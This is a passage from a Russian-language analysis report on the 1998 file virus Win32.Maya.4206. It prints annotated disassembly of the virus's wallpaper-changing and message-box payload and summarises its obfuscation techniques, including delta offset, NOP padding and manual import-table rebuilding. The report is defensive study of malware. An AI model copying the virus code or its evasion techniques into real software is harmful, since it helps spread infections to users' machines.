3.1.4 Создаение файла обоев

Вирус создает файл обоев SLAM.BMP с данными, встроенными непосредственно в тело вируса.

```
CODE:0040182D                 push    0                       ;
hTemplateFile = NULL (не используется)
CODE:0040182F                 push    80h                     ;
dwFlagsAndAttributes = FILE_ATTRIBUTE_NORMAL
                                                              ; Атрибут
файла: обычный файл без специальных атрибутов
CODE:00401834                 push    2                       ;
dwCreationDisposition = CREATE_ALWAYS
                                                              ; Всегда
создавать файл, перезаписывая существующий
CODE:00401836                 push    0                       ;
lpSecurityAttributes = NULL (безопасность по умолчанию)
CODE:00401838                 push    1                       ; dwShareMode
= FILE_SHARE_READ
                                                              ; Другие
процессы могут открыть файл только для чтения
CODE:0040183A                 push    40000000h               ;
dwDesiredAccess = GENERIC_WRITE
                                                              ; Файл
открывается только для записи
CODE:0040183F                 mov     eax, offset aSlamBmp    ; Смещение
строки "SLAM.BMP"
CODE:00401844                 add     eax, ebp                ; Реальный
адрес строки
CODE:00401846                 push    eax                     ; lpFileName =
"SLAM.BMP"
CODE:00401847                 mov     eax, ss:CreateFileA[ebp]  ; Адрес
функции CreateFileA
CODE:0040184D                 call    eax                     ;
CreateFileA("SLAM.BMP", GENERIC_WRITE, FILE_SHARE_READ,
                                                              ; NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL)
                                                              ; Создает или
открывает файл SLAM.BMP для записи
                                                              ; Файл будет
создан в текущей директории (обычно директория
                                                              ; запущенного
процесса или системная директория Windows)

CODE:0040184F                 cmp     eax, 0FFFFFFFFh         ; Проверить,
был ли файл успешно создан
                                                              ;
INVALID_HANDLE_VALUE = 0xFFFFFFFF означает ошибку
CODE:00401852                 jz      locret_40192C           ; Если
ошибка, выйти из функции
CODE:00401858                 mov     ss:dword_401ED9[ebp], eax ; Сохранить
handle файла для дальнейшего использования
```

АНАЛИЗ: Файл SLAM.BMP будет создан в текущей рабочей директории процесса.

Это может быть:

- Директория, из которой был запущен зараженный файл
- Системная директория Windows (C:\Windows\System32)
- Директория пользователя

```
CODE:0040185E                 push    0                       ; lpOverlapped
= NULL (синхронная запись)
CODE:00401860                 mov     eax, offset byte_401EDD  ; Адрес
переменной для количества записанных байт
CODE:00401865                 add     eax, ebp
```

```
CODE:00401867                   push    eax                     ;
lpNumberOfBytesWritten (выходной параметр)
CODE:00401868                   push    0E6h                     ;
nNumberOfBytesToWrite = 0xE6 (230 байт)
                                                                ; Размер
данных BMP файла, встроенных в вирус
CODE:0040186D                   mov     eax, offset dword_401F88 ; Адрес начала
данных BMP в памяти вируса
CODE:00401872                   add     eax, ebp                 ; Реальный
адрес с учетом delta offset
CODE:00401874                   push    eax                     ; lpBuffer =
адрес данных BMP
CODE:00401875                   push    ss:dword_401ED9[ebp]     ; hFile =
handle файла SLAM.BMP
CODE:0040187B                   mov     eax, ss:WriteFile[ebp]   ; Адрес
функции WriteFile
CODE:00401881                   call    eax                     ;
WriteFile(hFile, lpBuffer, 230, lpNumberOfBytesWritten, NULL)
                                                                ; Записывает
230 байт данных BMP в файл SLAM.BMP
                                                                ; Данные BMP
встроены непосредственно в тело вируса
                                                                ; и находятся
по адресу dword_401F88[ebp]
```

АНАЛИЗ: Вирус содержит данные BMP файла (230 байт) непосредственно в своем теле. Это демонстрирует самодостаточность вируса - он не требует загрузки дополнительных файлов или данных из сети. BMP файл, вероятно, содержит простое изображение с надписью или логотипом, который будет использоваться как обои рабочего стола.

Структура BMP файла (первые 14 байт - заголовок файла):

- 2 байта: сигнатура "BM" (0x42 0x4D)

- 4 байта: размер файла

- 4 байта: зарезервировано

- 4 байта: смещение до начала данных изображения

```
CODE:00401883                   push    ss:dword_401ED9[ebp]     ; hObject =
handle файла
CODE:00401889                   mov     eax, ss:CloseHandle[ebp] ; Адрес
функции CloseHandle
CODE:0040188F                   call    eax                     ;
CloseHandle(hFile)
                                                                ; Закрывает
файл и освобождает ресурсы
```

Windows хранит настройки обоев рабочего стола в реестре в ключе HKEY_CURRENT_USER\Control Panel\Desktop. Вирус изменяет эти настройки программно.

```
CODE:00401891                   mov     eax, offset dword_401EAB ; Адрес
переменной для handle ключа реестра
CODE:00401896                   add     eax, ebp
CODE:00401898                   push    eax                     ; phkResult
(выходной параметр - handle ключа)
```

```
CODE:00401899                 push    2                       ; samDesired =
KEY_SET_VALUE
                                                              ; Требуемые
права доступа: только установка значений
CODE:0040189B                 push    0                       ; ulOptions =
0 (стандартные опции)
CODE:0040189D                 mov     eax, (offset aIahscontrolPan+4) ;
Смещение строки "Control Panel\\Desktop"
CODE:004018A2                 add     eax, ebp                ; Реальный
адрес строки
CODE:004018A4                 push    eax                     ; lpSubKey =
"Control Panel\\Desktop"
CODE:004018A5                 push    80000001h               ; hKey =
HKEY_CURRENT_USER (0x80000001)
                                                              ; Это
предопределенный handle для раздела текущего пользователя
CODE:004018AA                 mov     eax, ss:RegOpenKeyExA[ebp] ; Адрес
функции RegOpenKeyExA
CODE:004018B0                 call    eax                     ;
RegOpenKeyExA(HKEY_CURRENT_USER, "Control Panel\\Desktop",
                                                              ; 0,
KEY_SET_VALUE, &phkResult)
                                                              ; Открывает
ключ реестра для изменения настроек обоев
```

АНАЛИЗ: Путь "Control Panel\\Desktop" в реестре Windows содержит настройки рабочего стола, включая:

- Wallpaper - путь к файлу обоев
- TileWallpaper - режим отображения (мозаика или нет)
- WallpaperStyle - стиль отображения (центрирование, растяжение, мозаика)

```
CODE:004018B2                 push    2                       ; cbData = 2
(размер данных в байтах, включая нулевой терминатор)
CODE:004018B4                 mov     eax, offset a1          ; Смещение
строки "1"
CODE:004018B9                 add     eax, ebp
CODE:004018BB                 push    eax                     ; lpData = "1"
(строка с нулевым терминатором)
CODE:004018BC                 push    1                       ; dwType =
REG_SZ (строковый тип данных)
CODE:004018BE                 push    0                       ; Reserved = 0
CODE:004018C0                 mov     eax, offset aTilewallpaper ; Смещение
строки "TileWallpaper"
CODE:004018C5                 add     eax, ebp
CODE:004018C7                 push    eax                     ; lpValueName
= "TileWallpaper"
CODE:004018C8                 push    ss:dword_401EAB[ebp]      ; hKey =
handle открытого ключа реестра
CODE:004018CE                 mov     eax, ss:RegSetValueExA[ebp] ; Адрес
функции RegSetValueExA
CODE:004018D4                 call    eax                     ;
RegSetValueExA(hKey, "TileWallpaper", 0, REG_SZ, "1", 2)
                                                              ;
Устанавливает значение "TileWallpaper" = "1"
                                                              ;
TileWallpaper = 1 означает, что обои должны отображаться в режиме мозаики
                                                              ; (повторение
изображения по всему экрану, если оно меньше экрана)
```

АНАЛИЗ: Параметр TileWallpaper определяет, будут ли обои отображаться в режиме мозаики:

- "0" - обои отображаются один раз (центрирование)

- "1" - обои отображаются в режиме мозаики (повторение по всему экрану)

```
CODE:004018D6                 push    2                       ; cbData = 2
CODE:004018D8                 mov     eax, offset a0          ; Смещение
строки "0"
CODE:004018DD                 add     eax, ebp
CODE:004018DF                 push    eax                     ; lpData = "0"
CODE:004018E0                 push    1                       ; dwType =
REG_SZ
CODE:004018E2                 push    0                       ; Reserved = 0
CODE:004018E4                 mov     eax, offset aWallpaperstyle ; Смещение
строки "WallpaperStyle"
CODE:004018E9                 add     eax, ebp
CODE:004018EB                 push    eax                     ; lpValueName
= "WallpaperStyle"
CODE:004018EC                 push    ss:dword_401EAB[ebp]      ; hKey
CODE:004018F2                 mov     eax, ss:RegSetValueExA[ebp]
CODE:004018F8                 call    eax                     ;
RegSetValueExA(hKey, "WallpaperStyle", 0, REG_SZ, "0", 2)
                                                              ;
Устанавливает значение "WallpaperStyle" = "0"
                                                              ;
WallpaperStyle = 0 означает центрирование обоев
                                                              ;
(противоречие с TileWallpaper = 1, но это может быть
                                                              ; для
обеспечения определенного режима отображения)
```

АНАЛИЗ: Параметр WallpaperStyle определяет способ отображения обоев:

- "0" - центрирование

- "1" - растяжение по всему экрану

- "2" - мозаика (аналогично TileWallpaper = 1)

3.1.5 Применение изменений

После изменения настроек в реестре необходимо применить изменения через SystemParametersInfoA.

```
CODE:004018FA                 push    0                       ; uiParam = 0
(не используется)
CODE:004018FC                 mov     eax, offset aSlamBmp    ; Смещение
строки "SLAM.BMP"
CODE:00401901                 add     eax, ebp
CODE:00401903                 push    eax                     ; pvParam =
"SLAM.BMP" (путь к файлу обоев)
CODE:00401904                 push    0                       ; fWinIni = 0
(не обновлять INI файлы)
CODE:00401906                 push    14h                     ; uiAction =
SPI_SETDESKWALLPAPER (0x14)
```

```
                                                        ; Константа,
означающая установку обоев рабочего стола
CODE:00401908                mov     eax, ss:SystemParametersInfoA[ebp] ;
Адрес функции SystemParametersInfoA
CODE:0040190E                call    eax                             ;
SystemParametersInfoA(SPI_SETDESKWALLPAPER, 0, "SLAM.BMP", 0)
                                                        ; Применяет
изменения и устанавливает обои рабочего стола
                                                        ; на файл
SLAM.BMP
                                                        ; Эта функция
обновляет реестр и немедленно применяет изменения
                                                        ; к рабочему
столу, чтобы пользователь сразу увидел новые обои
```

АНАЛИЗ: SystemParametersInfoA с параметром SPI_SETDESKWALLPAPER:

1. Устанавливает значение "Wallpaper" в реестре в путь к файлу обоев
2. Немедленно применяет изменения к рабочему столу
3. Обои отображаются сразу, без необходимости перезагрузки или перелогина

3.1.6 Отображение сообщения

Завершающий этап payload - отображение MessageBox с информацией о вирусе.

```
CODE:00401910                push    30h                     ; uType =
MB_ICONEXCLAMATION | MB_OK (0x30)
                                                        ; Флаги типа
диалогового окна:
                                                        ; -
MB_ICONEXCLAMATION: показать иконку восклицательного знака
                                                        ; - MB_OK:
показать кнопку "OK"
CODE:00401912                mov     eax, offset aVirusAlert  ; Смещение
строки "Virus Alert!"
CODE:00401917                add     eax, ebp
CODE:00401919                push    eax                     ; lpCaption =
"Virus Alert!" (заголовок окна)
CODE:0040191A                mov     eax, offset aWin32MayaC1998 ; Смещение
строки "Win32.Maya (c) 1998 The Shaitan [SLAM]"
CODE:0040191F                add     eax, ebp
CODE:00401921                push    eax                     ; lpText =
текст сообщения
                                                        ; Сообщение
содержит:
                                                        ; - Название
вируса: Win32.Maya
                                                        ; - Год
создания: 1998
                                                        ; - Псевдоним
создателя: The Shaitan
                                                        ; -
Дополнительная метка: [SLAM]
CODE:00401922                push    0                       ; hWnd = NULL
(окно-родитель отсутствует)
                                                        ; MessageBox
будет модальным окном верхнего уровня
CODE:00401924                mov     eax, ss:MessageBoxA_0[ebp] ; Адрес
функции MessageBoxA
```

```
CODE:0040192A                 call    eax                     ;
MessageBoxA(NULL, "Win32.Maya...", "Virus Alert!", MB_ICONEXCLAMATION |
MB_OK)
                                                              ; Отображает
диалоговое окно с сообщением о вирусе
                                                              ; Окно будет
отображаться поверх всех других окон
                                                              ; и
блокировать выполнение до нажатия кнопки "OK"

CODE:0040192C locret_40192C:                                 ; Метка выхода
из функции
CODE:0040192C                 retn                            ; Завершение
функции Payload
CODE:0040192C Payload         endp
```

АНАЛИЗ СООБЩЕНИЯ:

Сообщение "Win32.Maya (c) 1998 The Shaitan [SLAM]" содержит:

1. Win32.Maya - название вируса и платформа (Win32)

2. (c) 1998 - год создания вируса и символ копирайта

3. The Shaitan - псевдоним создателя вируса ("Shaitan" на арабском означает "дьявол" или "сатана")

4. [SLAM] - дополнительная метка или версия вируса

Это типичная "подпись" создателя вируса, характерная для вирусов конца 1990-х годов, когда многие создатели вирусов оставляли подобные метки в своих творениях.

ЗАКЛЮЧЕНИЕ

Проведенный детальный анализ техник обфускации, скрытия и полезной нагрузки вируса Virus.Win32.Maya.4206 позволил получить полное представление о методах, используемых вирусом для усложнения анализа и обхода систем защиты. Результаты анализа демонстрируют, что данный вирус является типичным представителем файловых вирусов конца 1990-х годов, использующим относительно простые техники по сравнению с современным вредоносным программным обеспечением.

ОСНОВНЫЕ ТЕХНИКИ, ИСПОЛЬЗУЕМЫЕ ВИРУСОМ:

1. ОБФУСКАЦИЯ КОДА (ВМЕСТО УПАКОВКИ):

Вирус НЕ использует упаковщик, что значительно упрощает процесс анализа. Код вируса полностью виден в IDA Pro без необходимости распаковки или создания дампа процесса. Однако вирус использует несколько техник обфускации:

- Delta offset техника позволяет вирусу вычислять свой реальный адрес загрузки во время выполнения, обеспечивая независимость от адреса загрузки

- NOP-слайды (вставка мусорных инструкций NOP между полезными инструкциями) затрудняют создание сигнатур для антивирусных систем

- Ручное восстановление IAT позволяет вирусу обходить стандартные механизмы импорта и работать даже при поврежденной таблице импорта

2. СКРЫТИЕ ОТ ОБНАРУЖЕНИЯ:

Вирус использует минимальные техники для скрытия от антивирусных систем, что характерно для вредоносного программного обеспечения конца 1990-х годов:

- Отсутствие сложных антиотладочных техник делает вирус легко анализируемым

- Отсутствие техник обхода песочниц означает, что вирус будет выполняться в любой среде, включая автоматизированные системы анализа

- Отсутствие сетевой активности означает, что вирус работает только локально

- Отсутствие удаления следов означает, что вирус оставляет артефакты своей деятельности

3. ПОЛЕЗНАЯ НАГРУЗКА:

Payload вируса является относительно простым и не деструктивным:

- Изменение обоев рабочего стола на SLAM.BMP

- Отображение MessageBox с информацией о вирусе

- Отсутствие кражи данных, майнинга, распространения по сети или деструктивных действий.

СПИСОК ИСПОЛЬЗОВАННЫХ ИСТОЧНИКОВ